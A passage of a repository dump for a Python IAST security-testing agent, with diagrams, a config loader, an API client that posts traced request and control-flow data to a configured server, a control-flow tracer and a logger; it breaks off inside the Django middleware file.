}>, shape="record", style="solid"]; 12 | "immunity_agent.api.client.Client" -> "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="api_client", style="solid"]; 13 | "immunity_agent.api.client.Client" -> "immunity_agent.middlewares.flask_middleware.ImmunityFlaskMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="api_client", style="solid"]; 14 | "immunity_agent.config.Config" -> "immunity_agent.api.client.Client" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="config", style="solid"]; 15 | "immunity_agent.control_flow.control_flow.ControlFlowBuilder" -> "immunity_agent.middlewares.django_middleware.ImmunityDjangoMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="control_flow", style="solid"]; 16 | "immunity_agent.control_flow.control_flow.ControlFlowBuilder" -> "immunity_agent.middlewares.flask_middleware.ImmunityFlaskMiddleware" [arrowhead="diamond", arrowtail="none", fontcolor="black", label="control_flow", style="solid"]; 17 | } 18 | -------------------------------------------------------------------------------- /diagrams/classes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/diagrams/classes.png -------------------------------------------------------------------------------- /diagrams/packages.dot: -------------------------------------------------------------------------------- 1 | digraph "packages" { 2 | rankdir=BT 3 | charset="utf-8" 4 | "immunity_agent" [color="black", label=, shape="box", style="solid"]; 5 | "immunity_agent.__main__" [color="black", label=, shape="box", style="solid"]; 6 | "immunity_agent.api" [color="black", label=, shape="box", style="solid"]; 7 | "immunity_agent.api.client" [color="black", label=, shape="box", style="solid"]; 8 | "immunity_agent.config" [color="black", label=, shape="box", style="solid"]; 9 | "immunity_agent.control_flow" [color="black", label=, shape="box", style="solid"]; 10 | "immunity_agent.control_flow.control_flow" [color="black", label=, shape="box", style="solid"]; 11 | "immunity_agent.logger" [color="black", label=, shape="box", style="solid"]; 12 | "immunity_agent.middlewares" [color="black", label=, shape="box", style="solid"]; 13 | "immunity_agent.middlewares.django_middleware" [color="black", label=, shape="box", style="solid"]; 14 | "immunity_agent.middlewares.flask_middleware" [color="black", label=, shape="box", style="solid"]; 15 | "immunity_agent.request" [color="black", label=, shape="box", style="solid"]; 16 | "immunity_agent.request.django_request" [color="black", label=, shape="box", style="solid"]; 17 | "immunity_agent.response" [color="black", label=, shape="box", style="solid"]; 18 | "immunity_agent.response.django_response" [color="black", label=, shape="box", style="solid"]; 19 | "immunity_agent.__main__" -> "immunity_agent.config" [arrowhead="open", arrowtail="none"]; 20 | "immunity_agent.api.client" -> "immunity_agent.config" [arrowhead="open", arrowtail="none"]; 21 | "immunity_agent.api.client" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 22 | "immunity_agent.config" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 23 | "immunity_agent.control_flow" -> "immunity_agent.control_flow" [arrowhead="open", arrowtail="none"]; 24 | "immunity_agent.control_flow.control_flow" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 25 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.api.client" [arrowhead="open", arrowtail="none"]; 26 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.control_flow" [arrowhead="open", arrowtail="none"]; 27 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 28 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.request.django_request" [arrowhead="open", arrowtail="none"]; 29 | "immunity_agent.middlewares.django_middleware" -> "immunity_agent.response.django_response" [arrowhead="open", arrowtail="none"]; 30 | "immunity_agent.middlewares.flask_middleware" -> "immunity_agent.api.client" [arrowhead="open", arrowtail="none"]; 31 | "immunity_agent.middlewares.flask_middleware" -> "immunity_agent.control_flow" [arrowhead="open", arrowtail="none"]; 32 | "immunity_agent.middlewares.flask_middleware" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 33 | "immunity_agent.request.django_request" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 34 | "immunity_agent.response.django_response" -> "immunity_agent.logger" [arrowhead="open", arrowtail="none"]; 35 | } 36 | -------------------------------------------------------------------------------- /diagrams/packages.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/diagrams/packages.png -------------------------------------------------------------------------------- /generate_flowcharts.py: -------------------------------------------------------------------------------- 1 | import os 2 | import ast 3 | from pyflowchart import Flowchart 4 | 5 | def normalize_indentation(code): 6 | """Нормализует отступы, чтобы избежать ошибок с unexpected indent.""" 7 | lines = code.splitlines() 8 | if not lines: 9 | return "" 10 | 11 | # Найти минимальный отступ среди всех строк (игнорируя пустые строки) 12 | min_indent = float('inf') 13 | for line in lines: 14 | stripped = line.strip() 15 | if stripped: # Игнорировать пустые строки 16 | min_indent = min(min_indent, len(line) - len(stripped)) 17 | 18 | # Удалить минимальный отступ из всех строк 19 | normalized_lines = [] 20 | for line in lines: 21 | if line.strip(): # Только для непустых строк 22 | normalized_lines.append(line[min_indent:]) 23 | else: 24 | normalized_lines.append("") # Сохранить пустые строки 25 | 26 | return "\n".join(normalized_lines) 27 | 28 | 29 | def extract_flowchart_code(code, start_marker="# flowchart: start", end_marker="# flowchart: end"): 30 | """Извлекает код между управляющими метками.""" 31 | lines = code.splitlines() 32 | in_flowchart_block = False 33 | extracted_lines = [] 34 | 35 | for line in lines: 36 | if start_marker in line: 37 | in_flowchart_block = True 38 | continue 39 | elif end_marker in line: 40 | in_flowchart_block = False 41 | continue 42 | 43 | if in_flowchart_block: 44 | extracted_lines.append(line) 45 | 46 | extracted_code = "\n".join(extracted_lines) 47 | return normalize_indentation(extracted_code) 48 | 49 | def get_methods_from_class(class_node): 50 | """Возвращает все методы класса.""" 51 | methods = [] 52 | for node in class_node.body: 53 | if isinstance(node, ast.FunctionDef): 54 | methods.append(node) 55 | return methods 56 | 57 | def process_file(file_path): 58 | """Обрабатывает файл Python и создает блок-схемы для методов классов.""" 59 | with open(file_path, 'r', encoding='utf-8') as file: 60 | code = file.read() 61 | 62 | tree = ast.parse(code) 63 | 64 | for node in tree.body: 65 | if isinstance(node, ast.ClassDef): 66 | class_name = node.name 67 | methods = get_methods_from_class(node) 68 | 69 | for method in methods: 70 | method_name = method.name 71 | method_code = ast.get_source_segment(code, method) 72 | 73 | # Извлекаем только код между управляющими метками 74 | filtered_code = extract_flowchart_code(method_code) 75 | 76 | if filtered_code.strip(): 77 | try: 78 | flowchart = Flowchart.from_code(filtered_code) 79 | output_file = f"diagrams/{class_name}_{method_name}_flowchart.txt" 80 | 81 | with open(output_file, 'w', encoding='utf-8') as out_file: 82 | out_file.write(flowchart.flowchart()) 83 | 84 | print(f"Блок-схема для {class_name}.{method_name} сохранена в {output_file}") 85 | except Exception as e: 86 | print(f"Ошибка при обработке метода {class_name}.{method_name}: {e}") 87 | 88 | def process_directory(directory): 89 | """Обходит все файлы в директории и обрабатывает их.""" 90 | for root, _, files in os.walk(directory): 91 | for file in files: 92 | if file.endswith('.py'): 93 | file_path = os.path.join(root, file) 94 | print(f"Обработка файла: {file_path}") 95 | process_file(file_path) 96 | 97 | project_directory = "./immunity_agent" 98 | process_directory(project_directory) 99 | -------------------------------------------------------------------------------- /immunity_agent/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/__init__.py -------------------------------------------------------------------------------- /immunity_agent/__main__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Модуль, отвечающий за запуск агента из консоли. 3 | 4 | Парсит аргументы командной строки, устанавливает конфигурацию агента, 5 | выводит новую конфигурацию на экран. 6 | """ 7 | 8 | import argparse 9 | 10 | from immunity_agent.config import Config 11 | 12 | if __name__ == "__main__": 13 | parser = argparse.ArgumentParser( 14 | "Immunity IAST Python agent. Вызов из консоли используется для конфигурации агента." 15 | ) 16 | parser.add_argument("host", help="Хост серверной части IAST") 17 | parser.add_argument("port", help="Порт, на котором она хостится") 18 | parser.add_argument("project_name", help="Имя проекта") 19 | args = parser.parse_args() 20 | 21 | config = Config() 22 | config.set("host", args.host) 23 | config.set("port", args.port) 24 | config.set("project", args.project_name) # flowchart: end 25 | 26 | print("Новая конфигурация:") 27 | print("Хост серверной части:", args.host) 28 | print("Порт серверной части:", args.port) 29 | print("Имя проекта:", args.project_name) 30 | -------------------------------------------------------------------------------- /immunity_agent/api/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/api/__init__.py -------------------------------------------------------------------------------- /immunity_agent/api/client.py: -------------------------------------------------------------------------------- 1 | """ 2 | Модуль клиента для взаимодействия с API управляющего сервера. 3 | 4 | Этот модуль предоставляет функциональность для загрузки контекстных данных 5 | в API управляющего сервера программного средства интерактивного анализа. 6 | """ 7 | 8 | import base64 9 | 10 | import requests 11 | 12 | from immunity_agent.config import Config 13 | from immunity_agent.logger import logger_config 14 | 15 | logger = logger_config("Immunity API") 16 | 17 | 18 | class Client: # pylint: disable=too-few-public-methods 19 | """ 20 | Класс клиента для взаимодействия с API управляющего сервера. 21 | 22 | Этот класс предоставляет методы для отправки данных в API. 23 | 24 | :param host: Хост сервера API. 25 | :type host: str 26 | :param port: Порт сервера API. 27 | :type port: int 28 | :param project: Название проекта. 29 | :type project: str 30 | """ 31 | 32 | def __init__(self): 33 | """ 34 | Конструктор класса. 35 | 36 | Инициализирует конфигурацию и устанавливает параметры подключения. 37 | """ 38 | self.config = Config() 39 | self.host = self.config.get("host") 40 | self.port = self.config.get("port") 41 | self.project = self.config.get("project") 42 | 43 | def upload_context( # pylint: disable=too-many-arguments, too-many-positional-arguments 44 | self, 45 | endpoint: str, 46 | project: str, 47 | request: str, 48 | control_flow: str, 49 | response: str, 50 | ) -> requests.Response: 51 | """ 52 | Отправка контекста в API. 53 | 54 | Метод кодирует данные запроса, потока управления и ответа в Base64 и 55 | отправляет их на сервер. 56 | 57 | :param endpoint: Адрес перехваченного запроса. 58 | :type endpoint: str 59 | :param project: Проект, к которому относится запрос. 60 | :type project: str 61 | :param request: Запрос в формате HTTP. 62 | :type request: str 63 | :param control_flow: Контрольный поток выполнения. 64 | :type control_flow: str 65 | :param response: Ответ от сервера в формате HTTP. 66 | :type response: str 67 | :return: Объект Response от библиотеки `requests`. 68 | :rtype: requests.Response 69 | :raises requests.exceptions.RequestException: В случае ошибки при выполнении HTTP-запроса. 70 | """ 71 | url = f"http://{self.host}:{self.port}/api/agent/context/" 72 | headers = {"Content-Type": "application/json"} 73 | 74 | try: 75 | # flowchart: start 76 | response = requests.post( 77 | url, 78 | headers=headers, 79 | json={ 80 | "project": project, 81 | "request": base64.b64encode(request.encode("utf-8")).decode( 82 | "utf-8" 83 | ), 84 | "control_flow": base64.b64encode( 85 | control_flow.encode("utf-8") 86 | ).decode("utf-8"), 87 | "response": base64.b64encode(response.encode("utf-8")).decode( 88 | "utf-8" 89 | ), 90 | }, 91 | timeout=15, 92 | ) 93 | if response.status_code == 200: 94 | logger.info(f"Данные о запросе {endpoint} отправлены на обработку.") 95 | else: 96 | logger.error( 97 | f"Сбой отправки данных о запросе {endpoint}. " 98 | f"Код ответа: {response.status_code}; " 99 | f"Содержимое ответа: {response.text}" 100 | ) 101 | return response # flowchart: end 102 | except requests.exceptions.RequestException as e: 103 | logger.exception( 104 | f"Произошла ошибка при отправке данных о запросе {endpoint}" 105 | ) 106 | raise e 107 | 108 | def upload_dependencies( # pylint: disable=too-many-arguments, too-many-positional-arguments 109 | self, 110 | dependencies_json: str, 111 | project: str 112 | ) -> requests.Response: 113 | """ 114 | Отправка библиотек анализируемого проекта в API. 115 | 116 | Метод кодирует данные о библиотеках проекта в Base64 и 117 | отправляет их на сервер. 118 | 119 | :param dependencies_json: Сериализованные в JSON данные. 120 | :type dependencies_json: str 121 | :param project: Проект, к которому относится запрос. 122 | :type project: str 123 | :raises requests.exceptions.RequestException: В случае ошибки при выполнении HTTP-запроса. 124 | """ 125 | url = f"http://{self.host}:{self.port}/api/agent/dependencies/" 126 | headers = {"Content-Type": "application/json"} 127 | 128 | try: 129 | # flowchart: start 130 | response = requests.post( 131 | url, 132 | headers=headers, 133 | json={ 134 | "project": project, 135 | "payload": base64.b64encode(dependencies_json.encode("utf-8")).decode( 136 | "utf-8" 137 | ), 138 | }, 139 | timeout=15, 140 | ) 141 | if response.status_code == 200: 142 | logger.info(f"Данные о настройках успешно отправлены.") 143 | else: 144 | logger.error( 145 | f"Сбой отправки данных о настройках" 146 | f"Код ответа: {response.status_code}; " 147 | f"Содержимое ответа: {response.text}" 148 | ) 149 | return response # flowchart: end 150 | except requests.exceptions.RequestException as e: 151 | logger.exception( 152 | f"Произошла ошибка при отправке данных о настройках" 153 | ) 154 | raise e 155 | 156 | def upload_config( # pylint: disable=too-many-arguments, too-many-positional-arguments 157 | self, 158 | config_json: str, 159 | project: str, 160 | framework: str 161 | ) -> requests.Response: 162 | """ 163 | Отправка конфигурации анализируемого проекта в API. 164 | 165 | Метод кодирует данные о конфигурации проекта в Base64 и 166 | отправляет их на сервер. 167 | 168 | :param config_json: Адрес перехваченного запроса. 169 | :type config_json: str 170 | :param project: Проект, к которому относится запрос. 171 | :type project: str 172 | :param framework: Имя фреймворка. 173 | :type framework: str 174 | :raises requests.exceptions.RequestException: В случае ошибки при выполнении HTTP-запроса. 175 | """ 176 | url = f"http://{self.host}:{self.port}/api/agent/config/" 177 | headers = {"Content-Type": "application/json"} 178 | 179 | try: 180 | # flowchart: start 181 | response = requests.post( 182 | url, 183 | headers=headers, 184 | json={ 185 | "project": project, 186 | "payload": base64.b64encode(config_json.encode("utf-8")).decode( 187 | "utf-8" 188 | ), 189 | "framework": framework 190 | }, 191 | timeout=15, 192 | ) 193 | if response.status_code == 200: 194 | logger.info(f"Данные о настройках успешно отправлены.") 195 | else: 196 | logger.error( 197 | f"Сбой отправки данных о настройках" 198 | f"Код ответа: {response.status_code}; " 199 | f"Содержимое ответа: {response.text}" 200 | ) 201 | return response # flowchart: end 202 | except requests.exceptions.RequestException as e: 203 | logger.exception( 204 | f"Произошла ошибка при отправке данных о настройках" 205 | ) 206 | raise e 207 | -------------------------------------------------------------------------------- /immunity_agent/config.json: -------------------------------------------------------------------------------- 1 | {"host": "81.177.220.198", "port": "7850", "project": "local"} -------------------------------------------------------------------------------- /immunity_agent/config.py: -------------------------------------------------------------------------------- 1 | """ 2 | Модуль для работы с конфигурацией агента интерактивного анализа. 3 | 4 | Этот модуль предоставляет класс Config, который позволяет загружать, 5 | сохранять и управлять данными конфигурации. Конфигурационные данные 6 | хранятся в файле JSON. 7 | """ 8 | 9 | import os 10 | import json 11 | from typing import Any, Dict, Optional 12 | from pathlib import Path 13 | 14 | from immunity_agent.logger import logger_config 15 | 16 | logger = logger_config("Immunity settings unit") 17 | 18 | 19 | class Config: 20 | """ 21 | Класс для управления конфигурацией агента. 22 | 23 | Этот класс отвечает за загрузку, сохранение и управление данными конфигурации. 24 | Конфигурационные данные хранятся в файле JSON. 25 | """ 26 | 27 | def __init__(self): 28 | """ 29 | Конструктор класса Config. 30 | 31 | Устанавливает имя файла конфигурации и загружает данные из этого файла. 32 | Если файл отсутствует, создается пустой словарь данных. 33 | """ 34 | package_dir = os.path.dirname(__file__) 35 | self.filename = os.path.join(package_dir, "config.json") 36 | self.data: Dict[str, Any] = self.load() 37 | 38 | def load(self) -> Dict[str, Any]: 39 | """ 40 | Загружает данные конфигурации из файла. 41 | 42 | :return: Словарь с данными конфигурации. 43 | :raises FileNotFoundError: Если файл конфигурации не найден. 44 | """ 45 | try: 46 | with open(self.filename, "r", encoding="utf-8") as f: 47 | return json.load(f) 48 | except FileNotFoundError as e: 49 | logger.error(e) 50 | return {} 51 | 52 | def save(self) -> None: 53 | """ 54 | Сохраняет текущие данные конфигурации в файл. 55 | """ 56 | with open(self.filename, "w", encoding="utf-8") as f: 57 | json.dump(self.data, f) 58 | 59 | def get(self, key: str, default: Optional[Any] = None) -> Any: 60 | """ 61 | Получает значение по ключу из данных конфигурации. 62 | 63 | :param key: Ключ, по которому нужно получить значение. 64 | :param default: Значение по умолчанию, которое будет возвращено, если ключ не найден. 65 | :return: Значение, соответствующее ключу, либо значение по умолчанию. 66 | """ 67 | return self.data.get(key, default) 68 | 69 | def set(self, key: str, value: Any) -> None: 70 | """ 71 | Устанавливает новое значение для ключа в данных конфигурации и сохраняет изменения в файл. 72 | 73 | :param key: Ключ, для которого устанавливается значение. 74 | :param value: Новое значение для указанного ключа. 75 | """ 76 | self.data[key] = value 77 | self.save() 78 | -------------------------------------------------------------------------------- /immunity_agent/control_flow/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | Модуль для перехвата и обработки потока управления. 3 | """ 4 | 5 | from .control_flow import ControlFlowBuilder 6 | -------------------------------------------------------------------------------- /immunity_agent/control_flow/control_flow.py: -------------------------------------------------------------------------------- 1 | """ 2 | Модуль для перехвата и обработки потока управления. 3 | 4 | Этот модуль предоставляет функционал для отслеживания и сериализации потоков управления 5 | в рамках программного средства интерактивного анализа. 6 | """ 7 | 8 | import inspect 9 | import json 10 | import time 11 | from types import FrameType 12 | from typing import Any, Callable, Optional 13 | 14 | from immunity_agent.logger import logger_config 15 | 16 | logger = logger_config("Immunity control flow handler") 17 | 18 | 19 | class ControlFlowBuilder: 20 | """ 21 | Класс, описывающий логику захвата потока управления. 22 | 23 | Этот класс предназначен для отслеживания и сериализации событий в потоке управления программы. 24 | 25 | :param project_root: Корневая директория проекта. 26 | :type project_root: str 27 | """ 28 | 29 | def __init__(self, project_root: str): 30 | """ 31 | Конструктор класса. 32 | 33 | Устанавливает корневую директорию проекта и инициализирует необходимые атрибуты. 34 | 35 | :param project_root: Корневая директория проекта. 36 | :type project_root: str 37 | """ 38 | self.project_root = project_root 39 | self.external_call_detected = False 40 | self.control_flow = [] 41 | 42 | def serialize(self, indentation: int = None) -> str: 43 | """ 44 | Сериализация логики захвата потока управления в формате JSON. 45 | 46 | :param indentation: Количество отступов для форматирования JSON (по умолчанию None). 47 | :type indentation: int | None 48 | :return: Строка с сериализованным потоком управления. 49 | :rtype: str 50 | """ 51 | return json.dumps(self.control_flow, indent=indentation) 52 | 53 | def serialize_locals(self, local_dict: dict) -> list: 54 | """ 55 | Сериализация локальных переменных в виде списка словарей. 56 | 57 | :param local_dict: Сырой словарь с локальными переменными. 58 | :type local_dict: dict 59 | :return: Список словарей с сериализованными переменными. 60 | :rtype: list 61 | """ 62 | serialized = [] 63 | try: 64 | for var_name, var_value in local_dict.items(): 65 | try: 66 | value_str = str(var_value) 67 | except Exception: # pylint: disable=broad-except 68 | value_str = "" 69 | 70 | serialized.append( 71 | { 72 | "name": var_name, 73 | "type": type(var_value).__name__, 74 | "value": value_str if value_str else "", 75 | } 76 | ) 77 | except Exception: # pylint: disable=broad-except 78 | serialized.append(str(local_dict)) 79 | return serialized 80 | 81 | def serialize_error(self, error_tuple: tuple) -> dict: 82 | """ 83 | Сериализация ошибки в виде словаря. 84 | 85 | :param error_tuple: Кортеж с данными об ошибке (тип, сообщение, трассировка стека). 86 | :type error_tuple: tuple 87 | :return: Словарь с сериализованной ошибкой. 88 | :rtype: dict 89 | """ 90 | return { 91 | "exception_type": error_tuple[0].__name__, 92 | "message": str(error_tuple[1]), 93 | } 94 | 95 | def trace_calls( # pylint: disable=too-many-statements 96 | self, frame, event: str, arg 97 | ) -> Callable[[FrameType, str, Any], Optional[Callable]]: 98 | """ 99 | Функция-трассировщик для отслеживания вызовов. 100 | 101 | Эта функция будет вызываться перед каждым событием в процессе исполнения программы. 102 | Она позволяет отслеживать различные события, такие как вызовы функций, выполнение 103 | строк кода и возврат из функций. 104 | 105 | :param frame: Текущий фрейм выполнения. 106 | :type frame: types.FrameType 107 | :param event: Тип события. Возможные значения: 'call', 'line', 'return', 'exception'. 108 | :type event: str 109 | :param arg: Дополнительная информация о событии. Например, для события 'return' это 110 | значение, которое возвращается из функции. 111 | :type arg: Any 112 | :return: Новая функция-трассировщик или None, если трассировка больше не требуется. 113 | :rtype: Optional[Callable[[types.FrameType, str, Any], Optional[Callable]]] 114 | """ 115 | filename = frame.f_code.co_filename 116 | 117 | if event == "call": 118 | func_name = frame.f_code.co_name 119 | func_filename = frame.f_code.co_filename 120 | func_line_number = frame.f_lineno 121 | 122 | # Проверяем, если вызов происходит в проекте 123 | if self.project_root in func_filename and 'site-packages' in func_filename: 124 | self.external_call_detected = False 125 | else: 126 | if not self.external_call_detected: 127 | # Только если внешняя функция не была зарегистрирована ранее 128 | module = inspect.getmodule(frame) 129 | module_name = module.__name__ if module else "" 130 | args = frame.f_locals.copy() 131 | self.control_flow.append( 132 | { 133 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), 134 | "event": "external_call", 135 | "name": func_name, 136 | "module": module_name, 137 | "filename": func_filename, 138 | "line": func_line_number, 139 | "args": self.serialize_locals(args), 140 | } 141 | ) 142 | self.external_call_detected = True 143 | else: 144 | self.external_call_detected = False 145 | 146 | if self.project_root in filename and not 'site-packages' in filename: 147 | if event == "call": 148 | # Вызов функции 149 | func_name = frame.f_code.co_name 150 | func_filename = frame.f_code.co_filename 151 | func_line_number = frame.f_lineno 152 | 153 | module = inspect.getmodule(frame) 154 | module_name = module.__name__ if module else "" 155 | args = frame.f_locals.copy() 156 | self.control_flow.append( 157 | { 158 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), 159 | "event": "internal_call", 160 | "name": func_name, 161 | "module": module_name, 162 | "filename": func_filename, 163 | "line": func_line_number, 164 | "args": self.serialize_locals(args), 165 | } 166 | ) 167 | 168 | return self.trace_calls 169 | 170 | if event == "line": 171 | # Выполнение строки кода внутри функции 172 | func_name = frame.f_code.co_name 173 | func_filename = frame.f_code.co_filename 174 | func_line_number = frame.f_lineno 175 | code_line = ( 176 | inspect.getframeinfo(frame).code_context[0].strip() 177 | if inspect.getframeinfo(frame).code_context is not None 178 | else "None" 179 | ) 180 | 181 | module = inspect.getmodule(frame) 182 | module_name = module.__name__ if module else "" 183 | args = frame.f_locals.copy() 184 | self.control_flow.append( 185 | { 186 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), 187 | "event": "code_line", 188 | "name": func_name, 189 | "module": module_name, 190 | "filename": func_filename, 191 | "line": func_line_number, 192 | "args": self.serialize_locals(args), 193 | "code": code_line, 194 | } 195 | ) 196 | 197 | return self.trace_calls 198 | 199 | if event == "return": 200 | # Возврат из функции 201 | func_name = frame.f_code.co_name 202 | func_filename = frame.f_code.co_filename 203 | func_line_number = frame.f_lineno 204 | return_value = arg 205 | 206 | module = inspect.getmodule(frame) 207 | module_name = module.__name__ if module else "" 208 | args = frame.f_locals.copy() 209 | self.control_flow.append( 210 | { 211 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), 212 | "event": "return", 213 | "name": func_name, 214 | "module": module_name, 215 | "filename": func_filename, 216 | "line": func_line_number, 217 | "final_state": self.serialize_locals(args), 218 | "returned_value": ( 219 | self.serialize_locals(return_value) 220 | if return_value 221 | else "None" 222 | ), 223 | } 224 | ) 225 | 226 | return self.trace_calls 227 | 228 | if event == "exception": 229 | func_name = frame.f_code.co_name 230 | func_filename = frame.f_code.co_filename 231 | func_line_number = frame.f_lineno 232 | return_value = arg 233 | 234 | module = inspect.getmodule(frame) 235 | module_name = module.__name__ if module else "" 236 | args = frame.f_locals.copy() 237 | self.control_flow.append( 238 | { 239 | "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), 240 | "event": "error", 241 | "source": [ 242 | { 243 | "function": func_name, 244 | "module": module_name, 245 | "filename": func_filename, 246 | "line": func_line_number, 247 | } 248 | ], 249 | "details": self.serialize_error(return_value), 250 | } 251 | ) 252 | 253 | return self.trace_calls 254 | 255 | return self.trace_calls 256 | 257 | return self.trace_calls 258 | -------------------------------------------------------------------------------- /immunity_agent/logger.py: -------------------------------------------------------------------------------- 1 | """ 2 | Модуль agent_logger.py 3 | 4 | Этот модуль предоставляет класс AgentLogger, предназначенный для ведения логов 5 | в рамках системы интерактивного анализа. Класс AgentLogger позволяет записывать 6 | сообщения различных уровней важности (debug, info, warning, error, critical), 7 | используя объект логирования из стандартной библиотеки Python. 8 | 9 | Основные возможности: 10 | - Ведение логов на разных уровнях важности. 11 | - Поддержка форматированных строк и дополнительных аргументов. 12 | - Возможность записи исключений с трассировкой стека. 13 | """ 14 | 15 | import logging 16 | 17 | loggers = {} 18 | 19 | LOG_FORMAT = "[%(asctime)s] %(levelname)s [%(name)s] %(message)s" 20 | 21 | 22 | class AgentLogger: 23 | """ 24 | Класс логгера агента интерактивного анализа. 25 | 26 | Этот класс используется для регистрации сообщений различного уровня важности, 27 | таких как отладочные сообщения, информационные, предупреждения, ошибки и критические ошибки. 28 | """ 29 | 30 | def __init__(self, log: logging.Logger) -> None: 31 | """ 32 | Конструктор класса. 33 | 34 | :param log: Объект логирования, который будет использоваться для записи сообщений. 35 | :type log: logging.Logger 36 | """ 37 | self._log = log 38 | 39 | def debug(self, msg: str, *args, **kwargs) -> None: 40 | """ 41 | Запись отладочного сообщения. 42 | 43 | :param msg: Сообщение, которое нужно записать. 44 | :type msg: str 45 | :param args: Дополнительные аргументы для форматирования строки. 46 | :param kwargs: Ключевые слова для форматирования строки. 47 | """ 48 | return self._log.debug(msg, *args, **kwargs) 49 | 50 | def info(self, msg: str, *args, **kwargs) -> None: 51 | """ 52 | Запись информационного сообщения. 53 | 54 | :param msg: Сообщение, которое нужно записать. 55 | :type msg: str 56 | :param args: Дополнительные аргументы для форматирования строки. 57 | :param kwargs: Ключевые слова для форматирования строки. 58 | """ 59 | return self._log.info(msg, *args, **kwargs) 60 | 61 | def warning(self, msg: str, *args, **kwargs) -> None: 62 | """ 63 | Запись предупреждающего сообщения. 64 | 65 | :param msg: Сообщение, которое нужно записать. 66 | :type msg: str 67 | :param args: Дополнительные аргументы для форматирования строки. 68 | :param kwargs: Ключевые слова для форматирования строки. 69 | """ 70 | return self._log.warning(msg, *args, **kwargs) 71 | 72 | def warn(self, msg: str, *args, **kwargs) -> None: 73 | """ 74 | Запись предупреждающего сообщения (синоним метода warning). 75 | 76 | :param msg: Сообщение, которое нужно записать. 77 | :type msg: str 78 | :param args: Дополнительные аргументы для форматирования строки. 79 | :param kwargs: Ключевые слова для форматирования строки. 80 | """ 81 | return self._log.warn(msg, *args, **kwargs) 82 | 83 | def error(self, msg: str, *args, **kwargs) -> None: 84 | """ 85 | Запись сообщения об ошибке. 86 | 87 | :param msg: Сообщение, которое нужно записать. 88 | :type msg: str 89 | :param args: Дополнительные аргументы для форматирования строки. 90 | :param kwargs: Ключевые слова для форматирования строки. 91 | """ 92 | return self._log.error(msg, *args, **kwargs) 93 | 94 | def exception(self, msg: str, *args, exc_info: bool = True, **kwargs) -> None: 95 | """ 96 | Запись исключения с трассировкой стека. 97 | 98 | :param msg: Сообщение, которое нужно записать. 99 | :type msg: str 100 | :param args: Дополнительные аргументы для форматирования строки. 101 | :param exc_info: Флаг, определяющий необходимость включения информации о текущем исключении. 102 | :type exc_info: bool 103 | :param kwargs: Ключевые слова для форматирования строки. 104 | """ 105 | return self._log.exception(msg, *args, exc_info=exc_info, **kwargs) 106 | 107 | def critical(self, msg: str, *args, **kwargs) -> None: 108 | """ 109 | Запись критического сообщения. 110 | 111 | :param msg: Сообщение, которое нужно записать. 112 | :type msg: str 113 | :param args: Дополнительные аргументы для форматирования строки. 114 | :param kwargs: Ключевые слова для форматирования строки. 115 | """ 116 | return self._log.critical(msg, *args, **kwargs) 117 | 118 | def log(self, level: int, msg: str, *args, **kwargs) -> None: 119 | """ 120 | Запись сообщения с указанным уровнем важности. 121 | 122 | :param level: Уровень важности сообщения. 123 | :type level: int 124 | :param msg: Сообщение, которое нужно записать. 125 | :type msg: str 126 | :param args: Дополнительные аргументы для форматирования строки. 127 | :param kwargs: Ключевые слова для форматирования строки. 128 | """ 129 | return self._log.log(level, msg, *args, **kwargs) 130 | 131 | 132 | def logger_config(logging_name: str) -> AgentLogger: 133 | """ 134 | Получение логгера по названию. 135 | 136 | :param logging_name: Название логгера. 137 | :type logging_name: str 138 | :return: Объект логгера. 139 | :rtype: AgentLogger 140 | """ 141 | 142 | global loggers # pylint: disable=global-variable-not-assigned 143 | 144 | if loggers.get(logging_name): 145 | return loggers.get(logging_name) 146 | 147 | logger = logging.getLogger(logging_name) 148 | logger.handlers.clear() 149 | 150 | level = logging.INFO 151 | 152 | logger.setLevel(level) 153 | 154 | console = logging.StreamHandler() 155 | console.setLevel(level) 156 | console.setFormatter(logging.Formatter(LOG_FORMAT)) 157 | logger.addHandler(console) 158 | 159 | loggers[logging_name] = logger 160 | return AgentLogger(logger) 161 | -------------------------------------------------------------------------------- /immunity_agent/middlewares/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/light-hat/immunity-python-agent/1a582d30616cc0a17897ad5ab220c2575352f985/immunity_agent/middlewares/__init__.py -------------------------------------------------------------------------------- /immunity_agent/middlewares/django_middleware.py: -------------------------------------------------------------------------------- 1 | """ 2 | Промежуточное ПО для интеграции агента Immunity IAST с фреймворком Django. 3 | 4 | Этот модуль предоставляет промежуточное программное обеспечение (middleware) для фреймворка Django, 5 | которое позволяет интегрировать агент Immunity IAST для мониторинга и анализа запросов и ответов. 6 | """ 7 | 8 | import sys 9 | import json 10 | from typing import Any 11 | 12 | from django.conf import settings 13 | import pkg_resources 14 | from immunity_agent.api.client import Client 15 | from immunity_agent.control_flow import ControlFlowBuilder 16 | from immunity_agent.logger import logger_config 17 | from 